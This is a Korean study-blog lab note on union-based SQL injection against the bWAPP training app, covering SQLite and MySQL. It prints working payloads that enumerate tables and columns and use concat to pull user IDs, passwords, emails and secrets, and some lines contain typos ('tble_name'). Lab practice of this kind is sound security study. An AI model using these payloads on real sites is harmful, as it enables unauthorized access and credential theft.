wonder

정보보안 스터디 - 14주차 5일 - SQLite DBMS / concat 이용 본문

Security/웹 모의해킹

정보보안 스터디 - 14주차 5일 - SQLite DBMS / concat 이용

wonder12 2023. 1. 16. 21:31

☞ sqlite와 MYSQL의 차이점

sqlite는 응용 프로그램으로 동작하는 비교적 가벼운 데이터베이스 관리 시스템입니다.

SQLite DB 파일 bwapp.sqlite 에 DB정보가 저장되어있습니다.

 

sqlite3 db/bwapp.sqlite
데이터베이스 및 테이블 구조 확인
.databases
select * from sqlite_master;
테이블 컬럼 속성확인
.schema users

 

 

sqlite는 따로 mysql의 칼럼이라는 필드명이 없고 대신 sql을 사용합니다.

 

만약 예를 들어 SQL 문에서
select * from movies where name like '% sqli($name) %'
라는 형식으로 sqlite를 받아온다면 다음과 같이 인젝션할 수 있습니다.

공격 구문
0' union select 1,tble_name,3,4,5,6 from sqlite_master --
0' union select 1,tble_name,sql,4,5,6 from sqlite_master where tble_name='users' --




 

 

 concat을 이용한 union sqli

로그인 부분에서도 검색한 입력값이 노출이 되는 경우 union공격을 사용할 수 있습니다. 

select * from movies where name like '%%' union select 1,2,3,4 #
2, 4 컬럼에서 값이 노출이 됩니다.
select * from movies where name like '%%' union select 1,database(),3,4 #
database: bWAPP
select * from movies where name like '%%' union select 1,table_name,3,4 from information_schema.tables where schema_name='bWAPP' limit 0,1 #
table: users
select * from movies where name like '%%' union select 1,column_name,3,4 from information_schema.columns where table_name='users' limit 0,1 #
concat을 이용하여 uid, pwd / email, secret 을 한 번에 확인합니다.
select * from movies where name like '%%' union select 1,concat(uid, pwd),3,concat(email, secret) from bWAPP.users  limit 0,1 #

 

 

 

 

 

 

 

 

 

Comments